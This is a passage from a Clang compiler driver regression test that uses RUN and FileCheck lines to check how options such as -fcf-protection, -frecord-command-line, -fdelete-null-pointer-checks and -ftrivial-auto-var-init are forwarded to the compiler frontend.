-check-prefix=CHECK-NO-CF-PROTECTION-BRANCH %s // CHECK-CF-PROTECTION-BRANCH: -fcf-protection=branch // CHECK-NO-CF-PROTECTION-BRANCH-NOT: -fcf-protection=branch // RUN: %clang -### -S -fdebug-compilation-dir . %s 2>&1 | FileCheck -check-prefix=CHECK-DEBUG-COMPILATION-DIR %s // RUN: %clang -### -S -fdebug-compilation-dir=. %s 2>&1 | FileCheck -check-prefix=CHECK-DEBUG-COMPILATION-DIR %s // RUN: %clang -### -fdebug-compilation-dir . -x assembler %s 2>&1 | FileCheck -check-prefix=CHECK-DEBUG-COMPILATION-DIR %s // RUN: %clang -### -fdebug-compilation-dir=. -x assembler %s 2>&1 | FileCheck -check-prefix=CHECK-DEBUG-COMPILATION-DIR %s // CHECK-DEBUG-COMPILATION-DIR: "-fdebug-compilation-dir" "." // RUN: %clang -### -S -fdiscard-value-names %s 2>&1 | FileCheck -check-prefix=CHECK-DISCARD-NAMES %s // RUN: %clang -### -S -fno-discard-value-names %s 2>&1 | FileCheck -check-prefix=CHECK-NO-DISCARD-NAMES %s // CHECK-DISCARD-NAMES: "-discard-value-names" // CHECK-NO-DISCARD-NAMES-NOT: "-discard-value-names" // RUN: %clang -### -S -fdelete-null-pointer-checks %s 2>&1 | FileCheck -check-prefix=CHECK-NULL-POINTER-CHECKS %s // RUN: %clang -### -S -fno-delete-null-pointer-checks %s 2>&1 | FileCheck -check-prefix=CHECK-NO-NULL-POINTER-CHECKS %s // RUN: %clang -### -S -fdelete-null-pointer-checks -fno-delete-null-pointer-checks %s 2>&1 | FileCheck -check-prefix=CHECK-NO-NULL-POINTER-CHECKS %s // RUN: %clang -### -S -fno-delete-null-pointer-checks -fdelete-null-pointer-checks %s 2>&1 | FileCheck -check-prefix=CHECK-NULL-POINTER-CHECKS %s // CHECK-NO-NULL-POINTER-CHECKS: "-fno-delete-null-pointer-checks" // CHECK-NULL-POINTER-CHECKS-NOT: "-fno-delete-null-pointer-checks" // RUN: %clang -### -S -target x86_64-unknown-linux -frecord-gcc-switches %s 2>&1 | FileCheck -check-prefix=CHECK-RECORD-GCC-SWITCHES %s // RUN: %clang -### -S -target x86_64-unknown-linux -fno-record-gcc-switches %s 2>&1 | FileCheck -check-prefix=CHECK-NO-RECORD-GCC-SWITCHES %s // RUN: %clang -### -S -target x86_64-unknown-linux -fno-record-gcc-switches -frecord-gcc-switches %s 2>&1 | FileCheck -check-prefix=CHECK-RECORD-GCC-SWITCHES %s // RUN: %clang -### -S -target x86_64-unknown-linux -frecord-gcc-switches -fno-record-gcc-switches %s 2>&1 | FileCheck -check-prefix=CHECK-NO-RECORD-GCC-SWITCHES %s // RUN: %clang -### -S -target x86_64-unknown-linux -frecord-command-line %s 2>&1 | FileCheck -check-prefix=CHECK-RECORD-GCC-SWITCHES %s // RUN: %clang -### -S -target x86_64-unknown-linux -fno-record-command-line %s 2>&1 | FileCheck -check-prefix=CHECK-NO-RECORD-GCC-SWITCHES %s // RUN: %clang -### -S -target x86_64-unknown-linux -fno-record-command-line -frecord-command-line %s 2>&1 | FileCheck -check-prefix=CHECK-RECORD-GCC-SWITCHES %s // RUN: %clang -### -S -target x86_64-unknown-linux -frecord-command-line -fno-record-command-line %s 2>&1 | FileCheck -check-prefix=CHECK-NO-RECORD-GCC-SWITCHES %s // Test with a couple examples of non-ELF object file formats // RUN: %clang -### -S -target x86_64-unknown-macosx -frecord-command-line %s 2>&1 | FileCheck -check-prefix=CHECK-RECORD-GCC-SWITCHES-ERROR %s // RUN: %clang -### -S -target x86_64-unknown-windows -frecord-command-line %s 2>&1 | FileCheck -check-prefix=CHECK-RECORD-GCC-SWITCHES-ERROR %s // CHECK-RECORD-GCC-SWITCHES: "-record-command-line" // CHECK-NO-RECORD-GCC-SWITCHES-NOT: "-record-command-line" // CHECK-RECORD-GCC-SWITCHES-ERROR: error: unsupported option '-frecord-command-line' for target // Test when clang is in a path containing a space. // RUN: mkdir -p "%t.r/with spaces" // RUN: cp %clang "%t.r/with spaces/clang" // RUN: "%t.r/with spaces/clang" -### -S -target x86_64-unknown-linux -frecord-gcc-switches %s 2>&1 | FileCheck -check-prefix=CHECK-RECORD-GCC-SWITCHES-ESCAPED %s // CHECK-RECORD-GCC-SWITCHES-ESCAPED: "-record-command-line" "{{.+}}with\\ spaces{{.+}}" // RUN: %clang -### -S -ftrivial-auto-var-init=uninitialized %s 2>&1 | FileCheck -check-prefix=CHECK-TRIVIAL-UNINIT %s // RUN: %clang -### -S -ftrivial-auto-var-init=pattern %s 2>&1 | FileCheck -check-prefix=CHECK-TRIVIAL-PATTERN %s // RUN: %clang -### -S -ftrivial-auto-var-init=zero -enable-trivial-auto-var-init-zero-knowing-it-will-be-removed-from-clang %s 2>&1 | FileCheck -check-prefix=CHECK-TRIVIAL-ZERO-GOOD %s // RUN: %clang -### -S -ftrivial-auto-var-init=zero %s 2>&1 | FileCheck -check-prefix=CHECK-TRIVIAL-ZERO-BAD %s // CHECK-TRIVIAL-UNINIT-NOT: hasn't been enabled // CHECK-TRIVIAL-PATTERN-NOT: hasn't been enabled // CHECK-TRIVIAL-ZERO-GOOD-NOT: hasn't been enabled // CHECK-TRIVIAL-ZERO-BAD: hasn't been enabled // RUN: %clang -### -S -fno-temp-file %s 2>&1 | FileCheck -check-prefix=CHECK-NO-TEMP-FILE %s // CHECK-NO-TEMP-FILE: "-fno-temp-file"